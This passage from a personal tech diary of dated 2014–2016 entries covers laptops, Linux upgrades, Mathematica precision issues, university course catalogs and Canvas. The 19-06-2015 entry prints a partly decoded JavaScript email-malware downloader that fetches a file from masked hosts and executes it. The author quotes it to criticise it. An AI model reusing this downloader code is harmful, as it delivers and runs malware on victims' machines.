(for example to process hundreds of submissions, unpack them and excecute them). There was a time, when marketing folks used hidden pixels in the email to track emails until the email clients stopped loading images by default. I think the time will come when email clients allow to suppress any unwanted espionage [04-30-15: just saw that OSX Mail (which I only very rarely use) has this option already. One can prevent the mail client to talk to other servers.] Some operating systems like OS X already by default warn if a program tries to submit information to third parties. An email client should do that too by default. But fortunately there are programs like mutt,mail or pine which work very effectively and don't betray the user and allow also to inspect every single character of the mail rather then believing what the mail client tells. 25-04-2016: Since when does the C compiler gcc require the -lm flag after the command? It used to work for a quarter century with gcc -lm example.c Now we get the error message example.c:(.text+0x2f): undefined reference to cos' (gcc version 4.8.4) It breaks virtually any Makefile I have. Now, we need to enter "gcc example.c -lm" in linux. The gcc compiler in OSX does not have this restriction. I don't see any reason why linking options should need to follow a particular order. If any compiler changes have to be done, why not get rid of the anachronistic necessity to have to link basic stuff like math libraries? The compiler should be able to figure it out by itself. But no, instead of simplifying things, now there are operating system dependent (!) requirements about the order in which the flag "-lm" is entered. This is syntax insanity. 24-04-2016: I love the 12 inch macbook. Just like in Murphy's law, exactly 2 weeks past the 1 year warranty deadline, a problem with my USB C port has emerged: the laptop would no more charge. The genius bar technician found today the problem at the Cambridge Side apple store: a tiny bit of debris inside the plug has prevented charging. Unfortunately, this debris also produced some power shorting and damage. I had to send it in to repair. What was nice with the mag-safe adapter of the older mac airs and other laptops is that the plug is completely accessible and robust. Even if something should mess up the plug (like some iron dust sucked up by the strong magnets), it could be removed easily with a brush. With the new USB C port, the technician had to look with an endoscope inside the plug to find the problem. Mechanical failures are still the number one problem for laptops: I have had failed CD ROM drives or faulty keys or faulty hard drives. Fortunately the CD roms are gone and the moving platter hard drives disappeared. And broken keys can be repaired easily by ordering replacement keys. A broken charging plug however dooms the machine. I have had one of the first Apple powerbooks which apple produced and there the power plug also had been the main problem. Maybe the time will come when laptops can be charged wirelessly. This will be time when apple will have "No plugs" any more. (There are rumors to get rid of the sound plug in iphones). So, what about solving the USB C issue? I could imagine that somebody develops a small plug just fitting the existing USB C plug which has a magnetic Mag Save adapter. The USB C cable could be refitted too and now, the plug is safe from acquiring small debris and also tripping over the cable becomes again less risky. [ Update April 28: the machine came back from repair. It seems that "repair" is now replacing the entire guts with a new one. Also the harddrive and battery got replaced. It would probably be too expensive to separate the harddrive from the main board.] 22-04-2016: Tried an upgrade one spare office machine (not my main machine) to Ubuntu 16.04 LTS. I wait with my main working machines as usual until things have settled a bit. Glad I did: Here is a screenshot of what happened during the upgrade. The machine became unresponsive no keyboard, nor mouse connection any more. Instead of trying again, I will make a complete fresh install. Upgrades between major OS updates rarely ever worked, even in Ubuntu. 27-03-2016: HP seems to have a super cool clone of the Apple Macbook: here is the add. (review). But there is no wonder companies like HP have trouble: there seems to be no way to buy this thing! It happened before, I remember Dell laptops or cool Mac Pro's which were not available when the customers were made hot for it. There should be a golden rule of advertising: if you make people hungry for a product, give it to them. Subito. We customers often buy spontaneously and after a "wow" experience. Currently, the youtube video points to the "Elite experience", where a thousand and one of other laptops are given. It might not be the case, but it looks and feels like "hardware waporware". Interesting also, that HP advertises their products with Windows 7 Professional as "available through downgrade rights from Windows 10 Pro". This is funny as everybody knows, how hard it is to keep Windows 7 from upgrading itself to windows 10. I myself use windows only for games and have disabled any upgrade communications completely. Windows 10 "big brother features" are unacceptable even as a gaming platform. [Update April 1: HP finally has linked the add to a place where one can buy it.] 24-03-2016: Its now a while, I have done computations on the Harvard Odyssey cluster. (An example was "The battle of eigenvalues"). I need it now for a geometry project since my own machines are not strong enough for some of the linear algebra. Things have improved a lot on Odyssey. I like the Slurm Workload manager which is better than the previous BSUB commands. Also the authentication using the Google authenticator for 2-step verification is easier than what was used some years ago. As displayed on the infographic, there are 207 TB of RAM in total. As a user, I can use 500 Gig. 13-03-2016: More and more programs start to litter the linux home directory with folders like "Documents", "Movies", "Downloads", "Dropbox", "Wuala Drive", "Wolfram Mathematica", "Calibre" etc. It used to be a Windows or OS X thing, but it had started with linux too. I use a very basic windows manager which does itself not do that but some programs do. In the past, programs had used hidden directories or /tmp, but I guess as Linux has become a more main stream alternative to windows, this has changed as many users don't find stuff which are not on the top of their directories. Not that the directory generation problem is unsolvable; one can build new aliases which clean up the mess when the program closes and programs like "nautilus" which mess with the home directory (when evoked without having been asked for by Firefox for example) can be silenced with chmod 000 /usr/bin/nautilus. 11-03-2016: There is an unexpected benefit coming from the fact that word documents can be spiked with vulnerabilities and attack vectors. Administrations are now forced to stop the deplorable practice of distributing information by sending word documents. Word email is not only a waste of space when sending attachments to thousands of people but also a nuisance for email readers which refuse to open attachments blindly, as one has to go through some checking whether the source is indeed what it appears to be from. Word vulnerabilities and exploit kits are still widely distributed. Most recent ransom ware not only encrypts the content of harddrive but also of all backups. I started to keep a more frequent regular physically disconnected backup. Here is a recent ransomware report: one from last month, distributed by word. 17-02-2016: Upgraded Ubunu from 14.04 to 15.10 on my home office. Why ubuntu allows by default guest accounts (where everybody can access the machine) escapes me totally. Placing "allow-guest=false" in /etc/lightdm/lightdm.conf as in 14.04 unfortunately disables lightdm in 15.10 and the windows manager completely fails to start up. As the machine is already online, its no problem to fix this remotely. Some troubles with X (nvidia) got solved by installing gnome (which I myself don't use) but has the effect that it rebuilds some X settings trashed during the upgrade. 22-01-2016: The Wu Characteristic.This was also an experiment in technology, having the text read automatically. About automatic transcript: even so the text is read by computer voices, the language recognition of youtube had some problems when producing captions. The reason was probably because I ased the voices to talk a bit faster than default. Here are some examples  Automated transcript (TXT) Actual transcript (TXT) Text Transcript Gauss-Bonnet Gas bonnet Rene Descartes Rented a car Riemann Roch Women rock f-vector Defector f-vector Effector i-simplices ice in places with j-simplices Jason places entries injuries one dimensional or dementia we form the sum we formed a song book of Klain bucket and clean Euler curvature Healer curvature flat there black bear. even dimensional balls even to mention Obama's dimensional sphere dimension of fear the graph S(x) the graphic sex for cohomology for coca-cola 05-01-2016: A 1500 year old creature comes to life. See data. It is currently in the process of being printed. [Update, the print out came out well]. 18-12-2015: . The new Apple magic keyboards are fantastic. The best keyboard I have ever worked on. I hated the old apple bluetooth keyboards which would disconnect easily or have the batteries die. Now, I don't have to buy overprized used USB apple keyboards any more. The new magic keyboards have a lightening connection which can be hard wired, allowing constant USB connection. This is unproblematic and reliable now also with linux. Having one type of keyboard only for all machines allows to work a notch faster. 10-12-2015: To test out the new Apple stylus on the iPad pro, here are some sketches. I used to do all writing and sketching with the finger, got for some months the Adonit Jot mini. What really is nice with the apple stylus that it feels like a usual stylus, that with suitable apps, one does not have to worry at all about touching the screen. The screen now becomes like paper, the finger and palm touches are completely ignored. It feels now almost like writing on paper. For reading text (I have lots of scanned PDF books), the ipad pro is much better. The text has now the clarity of a real text. The fact that the stilus can be charged by sticking it into the ipad is nice, but having it stuck there makes it very vulnerable for breaking off. Its a 100 dollar pen! 22-11-2015: Some experiments of Jonah Wagner, a Swiss software developer: fluidwebgl by 29a.ch, neonflames by 29a.ch, webglice by 29a.ch or chaotic particles by 29a.ch. 08-11-2015: The possibilites to look or ask things online today are exploding: Slader, Homework sharing website, Quora for asking questions, Calcchat for study guides, for Integer sequences, Stack exchange with Stackoverflow for programming, Stack exchange for math, definite integrals, Wolfram alpha and of course Wikipedia. Its getting harder and harder today to avoid information overflow. 24-10-2015: Youtube starts to crack down more on copy right content. The reason is the introduction of "youtube red" which required google to renegotiate content with producers. They certainly have the right to do so, but it raises concerns that even smaller copy right issues which pass today will in future be banned. Moral of the story: keep the master files (I deleted much of mine since final cut keeps such large files). 23-10-2015: While Mimic is funny, there is a serious side. I use demononizer since more than a decade (practically in any script which processes content from a website) as Microsoft has in their "time of evil" completely ruined things. We have got used to it, but it still happens to me regularly that a string formatted of Microsoft (or Adobe) origin (especially " or - symbols) ruined a program from running. There is nothing more frustrating than to have two texts which look identical in the editor, where one works, the other not and where only watching the file with a binhex editor reveals the hidden difference. 02-10-2015: Update to El Capitain in OS X. Everything smooth. Except more nagging about using the cloud. And again scroll bars disappearing. Small things but tests the nerves. 20-09-2015: Everybody talks about moving their stuff to centralized server farms (aka "cloud" in marketing buzz). Its part of globalization culture and a game theoretical equilibrium even so every centralization and monoculture increases global risk. Just a glimpse what could happen if a big data provider like Amazon goes blank for a while can be seen at the "Cloudopocalyse" or data breaches, security, Medical records, breaches. What happens if the majority of businesses have outsourced their data to big brother? The problem is that if a substantial part of businesses are shut down in the same time, there is a risk of a global economic meltdown similarly when big banks fail. 18-07-2015: game of life in javascript. A cruel moment while writing because I thought first that one can copy variables C = c.getImageData(0,0,l,l); C1=C; It almost works in javascript but C1 is actually a pointer to the same memory block. One has to allocate an independent second image data memory block. The problem (and the reason for a three hour agony of finding the mistake in the program) was that it almost worked. It looked like life, only that the gliders did not evolve correctly. One could avoid allocating a second block of memory but that would make the program larger as one has to keep a memory block while doing the update. Making the program smaller does not make it faster. When building a third loop for example over the color fibre, the program slows down considerably. 16-07-2015: Tests with image manipulation. I begin to dig the way Javascript can deal with pictures: A blur example. A cellular automaton. The example here is mathematically interesting as any figure will converge to a rectangle and the color pattern inside will have interesting random patterns. translation and life. 15-07-2015: Javascript implementation of the double pendulum, one of my favorate systems as the ergodic behavior of this system is still completely in the fog. A bit surprised, how fast a Javascript implementation of Chirikov is. Can compete with the Java implementation. It of course can not compete with C implementation. Javascript is great because it is going to stay unlike plugin based technologies like Flash or Java. 14-07-2015: Live from Northwest building B103, Townhall meeting about the new student information system: the Course Catalog is one of the most important information a university can provide. In the last decade, this information has been made available in a simple, accessible and timely manner by the registrar. We only learn now how important it was, when it was taken from us. The current search catalog is incomplete, erratic and misleading. Search has three fundamental problems: it is biased, It is erratic and it is unverifiable. An announced API has the same problem: it is impossible to verify whether the information is correct. An example of bias is the alphabet: some courses just come first because they appear first alphabetically. Filters produce a gamble. During the presentation, it was announced, that some selected students had been asked to find specific courses on the catalog. There was no mentioning whether somebody found anything but there were prizes at least! Well deserved. A good treasure hunt question would have been "Find mathematics courses!" As screen shots show, it is not easy. How big is the catalogue? We got a database dump of the math department courses: a 70K text file. There is much more convoluted Javascript on the new search system. Just dump the catalog files on the web for each department and the search problem is solved. 10-07-2015: The course catalog of a university is one of the most important information sources. Unfortunately, the current search only interface is equipped with complicated filters which is unable even to split individual departments. Compare with the excellent and extreme clarity of static pages provided in the past. Currently, when search for math, math courses don't appear. But there is a Bioelectomagnetic course on the first page. Why is "search only catalog" a huge problem? 1. Search is always biased. (for example by alphabet, by filters, by preferences) 2. Nobody looks beyond the first few pages (this is a problem if one comes behind) 3. Search is hard to interface (Its impossible to scrape the information) 4. Search is not verifiable (different querys give different search results) 5. Search is complicated (especially if many filters are in place) 6. Search is not auditable (does the database forgot something?) 19-06-2015: Just looked more carefully in one of the many js-email malware. Script kiddie stuff as appearing on github. The text is Notice to Appear, You have to appear in the Court .... Kind regards, Mario Stein, District Clerk.. Contains a zip file with obfuscated js code like: var stroke="55...11"; function a207() { return 'd="+s'; }; function a39() { return '{ '; }; function a197() { return 'tp:'; }; .... for (var hn=1; hn<=236; hn++) { gn += this['a'+hn](); } this[a0()](gn); When decoded, it becomes function dl(fr) { var b = "h....com d....com t...com".split(" "); for (var i=0; i 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open("GET","http://"+b[i]+"/document.php?rnd="+fr+"&id="+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; } }; dl(5951); dl(1802); dl(543); obviously trying to boost some companies. It illustrates how low the SEO optimization industry has sunk. The code would would probably run only on internet explorer with activeX enabled. Idiotic attempts which still seem to work it seems. 19-06-2015: A strange treshold behavior in Mathematica: Simplify[(1 - x^7)/(1 - x)] gives 1 + x + x^2 + x^3 + x^4 + x^5 + x^6 While Simplify[(1 - x^8)/(1 - x)] does not give the sum any more. One can push it one notch higher with Simplify[Expand[(1 - x^9)/(1 - x)]] which gives 1 + x + x^2 + x^3 + x^4 + x^5 + x^6 + x^7 + x^8 but Simplify[Expand[(1 - x^10)/(1 - x)]] refuses to give the sum any more. Instead of a Series expansion, here is an elegant way: f=Expand[Factor[(1 - x^20)/(1 - x)]] Why is this interesting for me: because polynomials represent graphs as used in this construction. The graph to 1+x+x^2+x^3+x^4 for example is the graph K_5. Picture of K40. More interesting are cases like (1-x)(1-x^2)(1-x^3)...(1-x^n) whose expansion starts with 1 - x - x^2 + x^5 + x^7 - x^12 - x^15 ... and is subject of the Euler Pentagonal theorem. I had discovered the theorem in the theory of partitions in a project done during highschool but had no series expansion techniques to prove this then. Here is the graph belonging to the above polynomial with n=21. 18-06-2015: Search is not easy and more importantly is almost impossible to audit. Despite an abundance of good search engines, is still an unsolved (maybe unsolvable) problem to get both comprehensive, relevant and results which the user can verify to be complete. While the order in which results are presented are often computed quite well with democratic page rank methods, it leaves the user unsure whether the results are really fair or whether there is some bias. The search bubble problem as well as the not always impeccable taste of crowds and the social networks effect can distort reality. Companies like Google are under heavy attack in Europe as they accused of distorting search results, phenomena like google bombs" or "Colbert" or "4 chan" stunts illustrate how popularity votes can be gamed and manipulated quite easily. Manipulations through SEO have become less efficient recently thanks to the search engines becoming smarter, but one has not yet learned how to deal with social network search distortions, distortions by individualized search or how to detect manipulations by the search engine itself. The actions against SEO methods for example make the search less transparent. In a complicated search algorithm, it is today almost impossible to detect whether bias was injected by the search tool itself. The problem becomes apparent also when building small search interfaces for catalogs, like on online stores like Amazon or in course search tools at universities. This is why for basic things like course catalogs a browsing alternative is important which does not involve search. A browsable catalog is auditable as faculty for example can see whether their course is there and staff can use it to plan. Search might lead to a course in some way but not in an other. How can one verify that a department course is listed when students search it? How can one find out, where the listings occur? With a searchable catalog this is not possible and all searchable catalogs seen so far have catastrophic shortcomings. Even when the best programmers do it. 17-05-2015: To see how strong the GTX 970 graphics card is, tried out GTA 5 on my home thinkmate workstation. (I installed a fresh windows 7 temporarily on a separate 250 Gig SSD, but could not install the game from the CDs and had to download from social club. The entire windows and game installation had to be repeated because windows 7 became unbootable and unrepairable with a mix of all the graphics card, 4K monitor and windows updates. (seems like a lot of time, but of course, I do things in parallel on other machines while the updates and installations are done). The second time, I refused all window updates and things went through fine. Since I only use this temporarily and for that game, I don't need updates). The graphics is gorgeous. Articles like here mention the need for more graphics cards. The game works in full 4K with 50+ Hz frame rate quite well with a single graphics card (there are situations where the frame rate drops and two cards definitely would help). But a special driver by NVIDIA which was just released a month ago, just for that game, seems have done the job even so I'm only on one graphics card. The details of the graphics is amazing. The game industry seems almost on par with the movie industry, little details like a cat running through the scene or books on a table of the psychiatrist Isiah Friedlander look almost real. Besides wanting to touch Windows only with a yard stick there was an other reason to install and try out everything on a different physically harddrive which physically needs to be detached: these games can become addictive, similar than math problems, they suck you in. It happened twice Once at Caltech, I was playing MYST for about 3 weeks, about 15 years ago, I ran Crossover on my linux box and played Wolfenstein over a summer. Just looked again: Crossover has not worked on GTA 5 yet. Fortunately, I would not want to have it to be so easy to switch. Currently, I need to physically swap the SSD to play it. 16-05-2015: Spilled Starbucks coffee over my mac air. Right on the back of the keyboard and bottom of the screen. It must have been a mouthful which directly went into the guts of the laptop and on the top part of the keyboard. It immediately went dead. I tried to dry, at some point even with the hair drier which on-line guides don't recommend as it might heat up parts too much and bombard the inside with burned dust. Whenever the lid would open, the battery part on the bottom would get hot. It was obviously a short circuit. To prevent overheating, I put it into the freezer which is problematic due to condensation but it might have saved it to keep cool until the battery was empty. According to the book, the next thing would be to wait 48 hours until everything has dried. But I needed some files. So, I placed the laptop lid open over a large windows fan, and let it vent over night. This must have done the job and dried out everything. After a recharge, the laptop booted up fine again this morning. 12-05-2015: Not so much about technology, but about memory access in the brain: here are two observations about memory: for gym locker numbers, I seem to have associated a fixed allocated register. If I learn a new locker number, the old one gets lost almost immediately. It happened that I had to buy a new lock because the old one seemed lost but then it reappeared in a corner of the backback, I was unable to get the old one opened as the new code had overwritten it. A similar thing happens to me with home telephone numbers. I don't recall old home telephone numbers, there seems again be fixed memory block allocated to that information. Quite efficient. An other interesting observation is that some of my memory parts are visual. This morning, I got to a bank ATM, where the number pad was reversed (there is an annoying inconsistency with calculator pads where the 1 bottom-left and telephone pads where the 1 is top left, but the ATM had the calculator order and not the telephone order). What happened was that when exposed to a reversed pad, I could not remember the pin at first. I had to type it on a usual pad to recover it. It appears that the pin is stored in my memory as a geometric figure rather than as a sequence of numbers. When learning piano pieces by heart, I seemed also have the pieces stored geometrically as I would have to play the piece to get the sequence of notes. The piece seemed have been stored in the fingers. 08-05-2015: I wanted to see how powerful the new graphics GTX 970 is with games. But installing windows 7 on a fresh SSD was like going 20 years back. I don't think even having had in Linux such problems and I'm using the later since 19 years. The only hack, which worked (after about 5 attempts), to get a fresh windows 7 onto a new Samsung SSD, was copying the CD to the hard drive, then install from there. Otherwise, the installer would simply refuse to do it. Here is the procedure. Networking, or the Samsung monitor of course does not work without drivers. I also needed to shuffle forth and back of tools and drivers because a fresh windows has no drivers at all, can not access internet, can not use the monitor properly. Even the very first linux systems which came on floppies were better in this respect. 03-05-2015: I use for a first time a 4K display in linux. Its a beautiful 3840x2160 pixels Samsung U28D590 monitor and a decent GTX 970 graphics card. Both with HDMI and DFP-2, I get 60 Hz with 3840x2160 pixels. The monitor is not only more energy efficient than the old, it is also twice as thin and half the weight and looks good. The configuration had been initiated with the NVIDIA tool. A screenshot (PNG, 3840x2160 pixels) shows that while the display is crystal sharp, the fonts are too small. Since I use good old blackbox and xterms, I will have to adapt things myself. I usually call xterm with a shell program. Something like /usr/bin/xterm +cm -sb -bg black -cr yellow -hc red -fg white -fa 'Monospace' -fs 12 This allows to fix the default font size. 16-04-2015: Just got the new MacBook from the Cambridge Apple store. I had ordered it the night it came out and like the look and feel. I still had wished to get a 1T HD version as my other 500 G laptop is full (have to clean out all the final cut stuff). The longer battery life, the better sound, the wonderful keyboard will be appreciated however as well as the better screen resolution and the smaller size. I changed my mind about the new USB C port. I got one adapter which does video, power and classical USB and that will do the job. There is no need to have the clutter at the machine. It is an opportunity for adapter builders to build a small USB-C adapter which like a swiss army knife can morph to anything. There is only the thunderbolt adapter missing for now. It is the future to have only one type of cable for everything. Update (4/17/15): Its a nice machine but its only half the joy if one can not show it off! Here are pictures (click for the large pictures) 26-03-2015: A buffon needle animation Javascript. Also this is executed in the browser, is open source, has no libraries and consists only of a few lines. Older ipads skip some frames 20-03-2015: Experimented with the graph data base neo4j. Pretty cool, as graphs are very natural and general structures. I believe that I myself started to really "think" in graph structures when starting to use Unix as I like to organize knowledge in knowledge trees (mind maps). Graph databases are in some sense equivalent to relational databases as one can organize graphs using adjacency matrices (tables), but they appear more flexible as often, only small part of a a table is needed. Neo4j was extremly fast to get started with. The only problem with neo4j is the large footprint (it is written in Java). I had it running for about a week and my linux box started to get slower. Huge memory footprints also if Mathematica calls java. In the later case, some java processes still survive after mathematica is done. 10-03-2015: Its amazing that javascript animations written 15 years ago still work without modifications. At that time, no canvas was available yet. For the Pi-day 2015, I wrote a little animation for the pi curlicue (I'm interested in curlicues as they are Birkhoff sums). Here is the golden mean curlicue animated with 12 lines of Javascript. No external libraries. This will continue to run without modifications in 20 years, on any device. 08-03-2015: I had hoped for 1TB options and 16 G memory options for the new Macbook. Seems not in the works. I wonder how the new single connection will work out. I loved the MagSafe connector and see trouble with an overused single connector (my thunderbolt adapter wears out since it is used for display as well as backup). How will it work for presentations, where you want to have a USB wireless mouse, an external display adapter and possibly a load a presentation from a USB key? Additionally, the new macbook has a slower M processor (drawing less power instead and avoiding a fan). 06-03-2015: Some keynote presentations from 2008 do no more open under the newest keynote. Fortunately, I have kept an old version of keynote2009. Annoying that after the conversion, the default is again to use keynote 2009 requiring a reconfiguration. Apple should add an importer for old formats. I like however how keynote keeps media and data in a separate folder. Like this it is still possible to reconstruct some of the slides. But as presentations are a short lived thing which should not be recycled too much, losing some old stuff is not that terrible. More troublesome is to lose text documents. Having experienced this once as the Moser script was written with a proprietary text editor first. This had required to rewrite everything from scratch as even the emulators were no more able to run the software. 20-02-2015: We live in a time with an amazing variety of teaching possibilities. The blackboard is one of the oldest tools. Here is a recording done on my home blackboard". While it has ancient origins, the modern blackboard seems to have emerged only in 1801, when James Pillans used a large piece of slate on the classroom wall, and in the US first been used at Westpoint. Since the 60ies, the greenboard became popular. It has less contrast and are usually portable and of inferior quality (at Harvard, there are some in SC Hall E on the side). What is nice about the blackboard: 1) It always works. 2) There is no technology distraction. 3) It naturally slows down the speaker 4) If magnetic, one can do experiments on them. 5) It is effective: 5 years ago, I had spent some time doing this presentation. It required to make the slides, to record, which all needed maybe 4 hours. The blackboard lecture was done in one take (30 minutes) then to transfer to the computer and annotate which is an other hour. An already mentioned Slate article about it. Since the 90ies we see more and more also white boards. Cited reasons are the lack of dust and the ease of writing. But the markers actually produce a lot of dust (if they work) and breathing this chemicals is hardly healthier than chalk. Similarly as with overhead projectors, I have still to see a teacher who can write nicely on white boards (one tends to write sloppily and too small). Similarly like fountain pens make you write more neatly than with ball pens, blackboards naturally force you to write slower and more precisely (at least for most people), the smallness of writing can still be a problem. Dry markers also can not be erased well: I had once at a conference in Vienna been forced to use a white board where the markers were dry. I had to give the talk without board. White boards appear cheaper but one has to buy a lot of markers and replace the boards frequently as they scratch easily. 05-02-2015: Content management systems for course websites have become complicated beasts. This is unavoidable, as one wants to cover a lot of different features in communication, content delivery or administration. Currently, FAS and extension school start implementing Canvas a learning management system replacing iSites. Used already by more than 1000 colleges, it will eventually replace iSites, which was built locally and has become pretty good over the more than 10 years it is in place. As currently we can use still both, its good to compare. I have only started to use it. Just a few general thoughts: • Using an external company instead of a house maintained system is a part of a common trend of outsourcing IT to external companies. In a time of globalization, this might be unavoidable and natural. As everybody starts doing that, there is maybe no other choice. It will be interesting to see in the long term what it means to destroy a local IT culture, to be dependent on an external company who could change their policies and prizes once it has become a dominant player. There are similar considerations when using other external tools like cloud services, which are still in the buy in" phase of acquiring critical mass, destroying local IT culture and knowledge. Once hooked, the companies can increase their prizes and policies. Already now, many small businesses or private folks have outsourced their IT. Yes it is convenient, but one has to see the drawbacks like disappearing jobs (large companies tend to send jobs to countries with lower salaries), more risks (already today, if a major cloud provider would melt down, it might be similarly as with banks a risk for global economy) or the loss of control who can see the data (data can be read by third parties). • Canvas looks already quite stable. Helas, it has already invasive features which remind of the games other big players play like Microsoft, Apple or Facebook. It tries to lock you in, to absorb you into the system, not letting you out. This can be aggravating, especially if it starts to mess with your usual work flow. The by far most annoying example is that all communication goes through the Canvas company. The system even refuses to reveal the email addresses of students. There are lots of folks who complain about this as it does not make sense to be so secretive except to lock you into the system. (Currently there are still other administrative services which allow to get access to the emails but this might change). What does it mean for a teacher using the system? All communication with students through canvas is recorded for eternity. That is not such a big deal as most email communications go through some external company like google, yahoo etc. What Canvas does with these emails is not clear. What is more problematic is that the system wants you to log into the canvas page in order to actually communicate. This is cumbersome: you have to log into the system, navigate to the communication part, then use their massive and complicated email messaging system (a large system which needs to cover many different needs, is always complicated, one has to go through about 10 steps to send a simple email, with a usual email client, it is 2 or 3). But the worst part is that it messes with your work flow, the use of your own email client you are used to. Alternatively, it is a bit like a black box: one has no idea what actually happened with the email. With a standard email you at least get a feedback message if the email is undeliverable etc. • My biggest worries are about long time archival, the movability and accessibility of content. This is a common problem with content management systems as they are database driven and the database is not accessible, not even for the user or customer. Many education content management systems are not globally accessible. iSites has the feature that all old pages and content is still available and movable. Weak part of iSites was that the URLs were terribly long and cryptic, that the content was seldom searchable as it was mostly outside the usual search engines and internal search features are always unusable (we have been spoiled by companies like google who made search easy). An other annoying feature of iSites had been that it was difficult to archive content and move it elsewhere (spider software is strictly excluded). So, as a teacher, any content you create is essentially content you might lose control over in the long term. As education becomes more and more an industry, it will be interesting to see whether academia will remain in charge of content or whether there will be a time when knowledge is treated more and more like a commodity and sold and controlled by the highest bidder. Having seen all the developments (I use the web for teaching in higher education since 1993), I have also seen many great companies grow, disappear, change their nature or being absorbed in larger structures. And when looking back to the history of education, there were entire eons, where education was less open and free than it is today. There is no reason why openness and freedom have to stay. It will be interesting to see how the "centralization of education" will work out. The worst case scenario is that the role of universities will diminish. We start to sell out to private companies, saving money over the short term but making ourselves redundant. We have seen models, where education was dominated by church (Galileo felt that), times where it was funded and promoted by governments (Euler worked at the Russian academy of sciences) or military (the Manhattan project employed temporarily many stellar scientists), times where some oligarchies or monarchies dominated education (Descartes was a private tutor to Queen Christine). Now we sell out to companies who listen to share holders and stock prizes and who become global players, serving thousands of universities. Providing "software as a service" is only a step away from providing "education as a service". But the euphemism "as a service" is a synonym for "outsourced". • In the short term, the most annoying feature of Canvas is being "spammed" with messages. I don't mind being spammed by real people sending me messages, even if they do frequently and the message contains new information. I mind being spammed by bots. Bots are already everywhere: Facebook, Linkedin, Twitter, news website, companies you are a customer, they all send regularly automated messages. Now, Canvas has this annoying feature that it sends regular reminders about things. No other education content management system did so, so far, as this is also the first time, we use a system built by an external company which needs to make profit. What is the effect? Of course, you start to ignore all these reminders. In an educational system it is a disaster if one can no more distinguish between important messages sending announcements which contain vital information by teaching staff or automated messages sent by the system. This is also annoying on the phone, there are now regularly phone calls done by bots, in particular done by political parties which somehow get around the ban to use the phone as an advertising machine. In social media, we are well aware already that we are the "product" It just feels weird to see that in education, more and more, not only students but teachers and entire universities have become "the product". 03-01-2014: My favorate note taking app (Penultimate) has been trashed. The new version is a disaster: 1) starting up the app does not continue at the old place. 2) no notetaking possible without going through Evernote servers 3) page flipping is complicated. Unstable (if missing one finger, one writes on the screen) 4) interface too complicated. Too many steps. Changing color and pen could be done in one step 5) one can no more email notes. Everything you do is swallowed and owned by Evernote. 6) Importing from drop box possible but no export. 16-12-2014: It had been a bit of a pain to render the pictures in this gallery with the older Mathematica 10.0 version as the program had been very unstable, espcially when run in batch mode. I had to write scripts which would between each picture wait a few seconds, kill any mathematica or java process, then continue, as any running processes would make further computations impossible. Now, with Mathematica 10.0.2, the stability is back. That was really important. 26-10-2014: A Heise article mentions trouble of Mathematica with determinants. The notebook authored by Antonio J. Duran, Mario Perez und Juan L. Varona deals with an applied problem. Maybe unrelated is an inconsistency with accuracy, when dealing with determinants. Mathematica usually does well in similar situations if no algebraic equations need to be solved and compute with arbitrary high precision. Determinants should not be different as it is just an algebraic expression of the matrix entries. Here is an example with matrix computation:$MaxPrecision = Infinity; $MaxExtraPrecision = 10000000; A=Table[3^(i*j)/2^(i-j),{i,30},{j,30}]; A1=1.0*A; A1=Table[3.^(i*j)/2^(i-j),{i,30},{j,30}]; A1=1.0*A; B=MatrixPower[A,1000]; U=B[[3,3]]; N[U,100] B1=MatrixPower[A1,1000]; U1=B[[3,3]]; N[U1,100] This is fine even after computing A1000. You can check for example that even after 20'000 digits, the results agree. When determinants are involved this is no more the case: U=Det[A]; N[U] V=Det[A1]; N[V] The first gives 9.86167 . 104503 while the second one gives -4.95199415. 105945. One remedy is to by hand add more zeros after the 1. like here$MaxPrecision = Infinity; $MaxExtraPrecision = 10000000; F[n_] := Module[{}, A = Table[3^(i*j)/2^(i - j), {i, n}, {j, n}]; A1 = 1.00000000000000000000000*A; N[Det[A], 1000] - N[Det[A1], 1000]]; Table[F[k], {k, 1, 30}] The user needs to add by hand more zeros even so the system was told to compute with higher precision. This reminds of the true story of a teacher marking the answer 3. * 4. = 12 as wrong because writing 3. indicates that one only should give the answer up to one digit. The right answer in the exam was supposed to be 3. * 4. = 10. One can certainly justify this, but it is narrow minded pedantry. What does the user have to do to force the higher accuracy in Mathematica? One needs to add a fake 1 number as above with 1.00000000000000000000000 which triggers to do the computation with higher accuracy. 22-10-2014: Photo math, a glimpse on what we have to expect in future. Imagine the phone chip implanted in the head and grabbing pictures from the eye. Could be great assistance in math tests. 16-10-2014: Yosemite runs without flaw so far on my imac and mac book air. I'm not sure whether I like the font change. Everything looks flatter. The buttons on windows look too blurry, also the harddrive icons are just blobs of color. All icons in general look as if they have gone through a "water color" photoshop filter. Even the menu entries look blurry (Helvetica fonts). When checking the "dark menu bar and Dock it can look decent however. In general the OS feels a bit more responsive. A substantial change again on how Keynote stores the presentation. It is again a single file and no more a folder. As I also sync presentations. if a presentation is changed, the entire multi-Gig Presentation file is synced and not only the changes. I had liked the unzipped version but obviously they needed a single file for transfer between devices. 15-10-2014: A nice piece about the blackboard. I agree: blackboards always work, forces to write in a readable way (for most at least). Since my undergraduate course assistant time, I had also to teach on white boards. The pens often dry out. The erasing does not work without heavy chemicals. One tends to write too small and sloppy. The boards are too small. 14-10-2014: Heartbleed, Shellshock and now Poodle. Names have effect and affect. And as the choice of operating systems is emotional and business attached, one can only suspect that there is also a lot of propaganda involved in hyping these vulnerabilities by giving them catchy names Like the Rumpelstiltskin syndrome in medicine. Real risks of previous or existing zero day vulnerabilityies are much bigger. No wonder "Poodle" does not bite as much as "Heartbleed" or "Shellshock", The name HIV had less effect than Aids, H1N1 was feared only after being called Swine flue. If Poodle would have remained CVE-2014-3566, nobody would have even noticed its bark. Every major operating system or complex program regularly will need updates and patches. Examples: Windows or Linux cases. US-Cert keeps track in general. 06-10-2014: We were experimenting with Mathematica solving some PDE's in multivariable calculus. An interesting issue came up: on different platforms, different answers appeared: For the following code solving the wave equation in one dimensions, we either got the value -0.250029 or -0.249797. f[x_] := Sin[Pi 7 x]; g[x_] := 5 Sin[5 Pi x]; U = NDSolveValue[{D[u[t, x], {t, 2}] - D[u[t, x], {x, 2}] == 0, u[0, x] == f[x], Derivative[1, 0][u][0, x] == g[x], DirichletCondition[u[t, x] == f[0], x == 0], DirichletCondition[u[t, x] == f[1], x == 1]}, u, {t, 0, 1}, {x, 0, 1}]; U[0.4,0.3] OSX screenshot, Linux screenshot. October 10: Technical support tells: "The results appear to be within the default PrecisionGoal. A function like NDSolveValue will generally return a result that is correct to 